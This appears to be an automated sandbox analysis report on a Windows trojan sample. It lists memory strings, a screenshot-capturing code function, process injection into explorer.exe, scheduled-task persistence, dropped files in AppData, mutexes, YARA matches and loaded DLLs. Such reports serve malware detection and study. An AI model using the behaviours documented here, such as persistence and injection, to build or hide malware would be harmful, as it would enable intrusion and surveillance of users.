Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1385998879.0000000006B2B000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 00000002.00000002.1649743130.0000000004D52000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719433998.0000000004E38000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1787037841.0000000004472000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2602250692.0000000004F4D000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.1720081684.0000000004D4E000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.symauth.com/rpa00
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1385998879.0000000006B2B000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 00000002.00000002.1649743130.0000000004D52000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719433998.0000000004E38000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1787037841.0000000004472000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2602250692.0000000004F4D000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.1720081684.0000000004D4E000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.vmware.com/0
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1385998879.0000000006B2B000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 00000002.00000002.1649743130.0000000004D52000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719433998.0000000004E38000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1787037841.0000000004472000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2602250692.0000000004F4D000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.1720081684.0000000004D4E000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://www.vmware.com/0/
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1385998879.0000000006B2B000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 00000002.00000002.1649743130.0000000004D52000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719433998.0000000004E38000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1787037841.0000000004472000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2602250692.0000000004F4D000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.1720081684.0000000004D4E000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/cps0%
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1385998879.0000000006B2B000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 00000002.00000002.1649743130.0000000004D52000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719433998.0000000004E38000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1787037841.0000000004472000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2602250692.0000000004F4D000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.1720081684.0000000004D4E000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://d.symcb.com/rpa0
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/Jcl8087.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclAnsiStrings.
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclBase.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclCharsets.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclCompression.
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclDateTime.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclFileUtils.pa
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclIniFiles.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclLogic.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclMath.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclMime.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclRTTI.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclResources.pa
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclSimpleXml.pa
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclStreams.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclStringConver
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclStrings.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclSynch.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclSysInfo.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclSysUtils.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclUnicode.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclUnitVersioni
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/JclWideStrings.
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/bzip2.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/common/zlibh.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/windows/JclConsole.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/windows/JclRegistry.pa
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/windows/JclSecurity.pa
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/windows/JclShell.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/windows/JclWin32.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/windows/Snmp.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: https://jcl.svn.sourceforge.net/svnroot/jcl/tags/JCL-2.4-Build4571/jcl/source/windows/sevenzip.pas
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1385998879.0000000006B2B000.00000004.00000020.00020000.00000000.sdmp, comp.exe, 00000002.00000002.1649743130.0000000004D52000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 00000008.00000002.1719433998.0000000004E38000.00000004.00000800.00020000.00000000.sdmp, comp.exe, 0000000A.00000002.1787037841.0000000004472000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.2602250692.0000000004F4D000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000D.00000002.1720081684.0000000004D4E000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000000F.00000002.1788401445.0000000005310000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: https://www.digicert.com/CPS0
Contains functionality to record screenshots
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EE61F0 Sleep,RegOpenKeyExA,RegQueryValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegSetValueExA,RegCloseKey,RegOpenKeyExA,RegQueryInfoKeyW,RegEnumValueA,RegCloseKey,GdiplusStartup,GetDC,RegGetValueA,RegGetValueA,GetSystemMetrics,GetSystemMetrics,GetSystemMetrics,RegGetValueA,GetSystemMetrics,GetSystemMetrics,CreateCompatibleDC,CreateCompatibleBitmap,SelectObject,BitBlt,GdipCreateBitmapFromHBITMAP,GdipGetImageEncodersSize,GdipGetImageEncoders,GdipSaveImageToFile,SelectObject,DeleteObject,DeleteObject,DeleteObject,ReleaseDC,GdipDisposeImage,GdiplusShutdown,GetUserNameA,LookupAccountNameA,GetSidIdentifierAuthority,GetSidSubAuthorityCount,GetSidSubAuthority,GetSidSubAuthority, 12_2_02EE61F0
Contains functionality to call native functions
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Code function: 0_2_0063251D NtQuerySystemInformation, 0_2_0063251D
Creates files inside the system directory
Source: C:\Windows\SysWOW64\comp.exe File created: C:\Windows\Tasks\ServiceHub Controller.job Jump to behavior
Detected potential crypto function
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Code function: 0_2_00630739 0_2_00630739
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EE61F0 12_2_02EE61F0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EEB700 12_2_02EEB700
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F52000 12_2_02F52000
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F1C467 12_2_02F1C467
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F12930 12_2_02F12930
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EE4EF0 12_2_02EE4EF0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F1CC09 12_2_02F1CC09
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F0F3EB 12_2_02F0F3EB
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EE51A0 12_2_02EE51A0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F21679 12_2_02F21679
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F0B4B0 12_2_02F0B4B0
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EE5450 12_2_02EE5450
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F25A76 12_2_02F25A76
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F25B96 12_2_02F25B96
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F57E2D 12_2_02F57E2D
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02F23DE9 12_2_02F23DE9
Found potential string decryption / allocating functions
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 02F03F40 appears 136 times
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 02F0A560 appears 56 times
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 02F09D11 appears 60 times
Source: C:\Windows\SysWOW64\explorer.exe Code function: String function: 02F03030 appears 53 times
PE / OLE file has an invalid certificate
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Static PE information: invalid certificate
Sample file is different than original file name gathered from version info
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1384464950.0000000006718000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000000.1349110939.00000000009E2000.00000002.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilenamenode.exe* vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1389532302.00000000074DD000.00000004.00000800.00020000.00000000.sdmp Binary or memory string: OriginalFilenamentdll.dllj% vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1385998879.0000000006B2B000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamezip.exe( vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000000.1348154278.000000000041B000.00000020.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFilename vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000000.1348154278.000000000041B000.00000020.00000001.01000000.00000003.sdmp Binary or memory string: OriginalFileName vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1376105942.00000000056A7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilename vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1376105942.00000000056A7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFileName vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, 00000000.00000002.1376105942.00000000056A7000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: OriginalFilenamenode.exe* vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Binary or memory string: OriginalFilename vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Binary or memory string: OriginalFileName vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Binary or memory string: OriginalFilenamenode.exe* vs BGUO31BLG4WQAOX9MA4VF71OJ1M.exe
Uses 32bit PE files
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Static PE information: EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, BYTES_REVERSED_LO, 32BIT_MACHINE, BYTES_REVERSED_HI
Source: classification engine Classification label: mal100.troj.evad.winEXE@18/10@37/1
Source: C:\Windows\SysWOW64\explorer.exe Code function: 12_2_02EEE8D0 GetUserNameA,CoInitialize,CoCreateInstance,CoUninitialize,CoUninitialize,CoUninitialize,GetLocalTime,CoUninitialize, 12_2_02EEE8D0
Source: C:\Windows\SysWOW64\comp.exe File created: C:\Users\user\AppData\Roaming\TlsServer Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe Mutant created: \Sessions\1\BaseNamedObjects\f5a43204a66445ad0e09c0db80eb910b
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5644:120:WilError_03
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Mutant created: \Sessions\1\BaseNamedObjects\MutexNPA_UnitVersioning_1820
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Mutant created: \Sessions\1\BaseNamedObjects\MutexNPA_UnitVersioning_3632
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1696:120:WilError_03
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Mutant created: \Sessions\1\BaseNamedObjects\MutexNPA_UnitVersioning_6072
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3420:120:WilError_03
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe File created: C:\Users\user\AppData\Local\Temp\d2d22b7a Jump to behavior
Source: Yara match File source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe, type: SAMPLE
Source: Yara match File source: 0.0.BGUO31BLG4WQAOX9MA4VF71OJ1M.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000000.1348154278.0000000000401000.00000020.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match File source: 00000000.00000002.1376105942.000000000568C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe File read: C:\Users\desktop.ini Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe ReversingLabs: Detection: 13%
Source: explorer.exe String found in binary or memory: " /add
Source: explorer.exe String found in binary or memory: " /add /y
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: FILENAME-START
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: FILENAME-STOP
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: FILESIZE-START
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: FILESIZE-STOP
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: FILEPACKEDSIZE-START
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: FILEPACKEDSIZE-STOP
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: <html><head><META http-equiv=Content-Type content="text/html; charset=utf-8"></head><body><!--StartFragment-->
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: n<html><head><META http-equiv=Content-Type content="text/html; charset=utf-8"></head><body><!--StartFragment-->
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: -help
Source: BGUO31BLG4WQAOX9MA4VF71OJ1M.exe String found in binary or memory: SYNTAX: -add filename (switches)
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe File read: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Jump to behavior
Source: unknown Process created: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe "C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe"
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Process created: C:\Windows\SysWOW64\comp.exe C:\Windows\SysWOW64\comp.exe
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown Process created: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe
Source: unknown Process created: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process created: C:\Windows\SysWOW64\comp.exe C:\Windows\SysWOW64\comp.exe
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process created: C:\Windows\SysWOW64\comp.exe C:\Windows\SysWOW64\comp.exe
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Process created: C:\Windows\SysWOW64\comp.exe C:\Windows\SysWOW64\comp.exe Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process created: C:\Windows\SysWOW64\comp.exe C:\Windows\SysWOW64\comp.exe Jump to behavior
Source: C:\Users\user\AppData\Roaming\TlsServer\QTAgent_40.exe Process created: C:\Windows\SysWOW64\comp.exe C:\Windows\SysWOW64\comp.exe Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Windows\SysWOW64\comp.exe Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: msimg32.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: version.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: winmm.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: oleacc.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: wtsapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: winsta.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: olepro32.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: svrapi.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: shunimpl.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: windowscodecs.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: mscms.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: coloradapterclient.dll Jump to behavior
Source: C:\Users\user\Desktop\BGUO31BLG4WQAOX9MA4VF71OJ1M.exe Section loaded: thumbcache.dll Jump to behavior
